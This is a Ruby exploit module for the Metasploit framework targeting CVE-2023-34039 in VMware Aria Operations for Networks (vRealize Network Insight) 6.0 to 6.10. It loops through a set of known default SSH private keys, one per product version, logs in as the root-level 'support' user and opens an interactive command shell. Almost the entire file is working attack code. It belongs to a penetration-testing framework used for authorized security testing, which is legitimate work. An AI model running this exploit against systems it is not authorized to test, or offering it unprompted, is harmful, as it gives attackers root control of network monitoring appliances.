##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure',
          'Description' => %q{
            VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0
            do not randomize the SSH keys on virtual machine initialization. Since the key is easily
            retrievable, an attacker can use it to gain unauthorized remote access as the "support" (root) user.
          },
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Privileged' => true,
          'Targets' => [
            [ '6.0_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_platform') } ],
            [ '6.0_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_proxy') } ],
            [ '6.1_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_platform') } ],
            [ '6.1_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_proxy') } ],
            [ '6.2_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_collector') } ],
            [ '6.2_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_platform') } ],
            [ '6.3_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_collector') } ],
            [ '6.3_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_platform') } ],
            [ '6.4_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_collector') } ],
            [ '6.4_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_platform') } ],
            [ '6.5_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_collector') } ],
            [ '6.5_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_platform') } ],
            [ '6.6_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_collector') } ],
            [ '6.6_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_platform') } ],
            [ '6.7_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_collector') } ],
            [ '6.7_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_platform') } ],
            [ '6.8_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_collector') } ],
            [ '6.8_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_platform') } ],
            [ '6.9_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_collector') } ],
            [ '6.9_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_platform') } ],
            [ '6.10_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_collector') } ],
            [ '6.10_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_platform') } ],
            [
              'All', {} # built later
            ],
          ],
          'Payload' => {
            'Compat' => {
              'PayloadType' => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
          'Author' => [
            'h00die', # MSF module
            'SinSinology', # PoC
            'Harsh Jaiswal (@rootxharsh)', # Discovery
            'Rahul Maini (@iamnoooob)' # Discovery
          ],
          'License' => MSF_LICENSE,
          'References' => [
            ['CVE', '2023-34039'],
            ['URL', 'https://github.com/sinsinology/CVE-2023-34039'],
            ['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/'],
            ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0018.html'],
          ],
          'DisclosureDate' => '2023-08-29',
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
          'DefaultTarget' => 22,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
        }
      )
    )

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptBool.new('STOP_ON_SUCCESS', [ false, 'Stop on successful login', true]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time in seconds to negotiate a SSH session', 30])
      ]
    )
  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user, key_data)
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: rport,
      key_data: [ key_data ]
    })
    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    rescue Rex::ConnectionError
      print_error "#{rhost}:#{rport} SSH - Unable to connect"
      return nil
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return nil
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return nil
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
      return nil
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return nil
    end

    if ssh_socket
      # Create a new session from the socket, then close it.
      conn = Net::SSH::CommandStream.new(ssh_socket)
      ssh_socket = nil

      return conn
    end
    nil
  end

  def exploit
    if target.name == 'All'
      keys = targets.filter_map { |t| t.opts['key'] if t.name != 'All' }
    else
      keys = [target.opts['key']]
    end

    keys.each do |key|
      vprint_status("Attempting key: #{key}")
      key_data = File.read(key, mode: 'rb')
      conn = do_login('support', key_data)
      next unless conn

      print_good "#{rhost}:#{rport} - Successful login via support@#{rhost}:#{rport} and ssh key: #{key}"
      handler(conn.lsock)
      break if datastore['STOP_ON_SUCCESS']
    end
  end
end
